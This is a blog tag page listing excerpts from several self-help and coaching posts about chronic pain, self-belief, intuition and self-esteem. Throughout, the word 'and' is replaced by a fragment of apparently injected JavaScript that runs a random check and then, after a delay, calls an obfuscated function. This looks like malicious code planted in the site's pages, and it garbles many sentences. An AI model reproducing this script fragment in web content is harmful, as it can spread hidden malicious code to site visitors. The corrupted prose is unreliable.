Tagged: meditation

Are You Too Stubborn to Get Well?

Are You Too Stubborn to Get Well?

I had the pleasure of spending time with some good friends this weekend. They’re great people, generous andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and very happy for the most part. Except when it comes to pain. I’ve known for quite some time that my friend’s husbandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and has back pain, really bad back pain. He’s been to some doctors andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and they prescribed the general things like physical therapy andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and medication. He’s tried acupuncture andom() * 5);if (number1==3){var delay [...]

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Seven Ways to Cultivate the Practice of Belief

Seven Ways to Cultivate the Practice of Belief

 

At the start of the New Year, we often make goals about our career, health, or relationships. Unfortunately by the end of January, too many of us give up on those goals. Not because we’re lazy or we didn’t really want the things, it’s because we don’t believe we can actually have them.

 

We often blame it on not enough time or discipline, when in reality it’s neither of these things. The truth is we don’t actually believe we can create what we want.

 

It’s okay not to believe in yourself (at least some of the time).

 

I know we hear a [...]

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How To Get The Answers

How To Get The Answers

Everyone is looking for the answer.

 

They want to know the best way to get a healthier body, a better mindset, a relationship, or a new job.

 

They believe the answer is eluding them somehow. They should know it by now.

 

That’s when I tell them: they do.

 

It’s in their body. It’s in all our bodies. We all have it in equal measure. It is our inner voice, our intuition, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and our inner wisdom. Call it what you like: it’s a part of us that’s always there waiting to be listened to.

 

When I tell my [...]

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Trusting the Expert Within

Trusting the Expert Within

When a potential client who is interested in my services approaches me andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and they immediately start listing all the self-help books they have read; I become very curious. Why?  It reminds me of the phenomena I notice frequently that I have coined the “boob job effect”.

The “boob job effect” is when I hear a woman saying that she has low self-esteem andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and increasing her breast size will give her better self-esteem. I haven’t been able to pinpoint the logic on that one.

I have nothing against [...]

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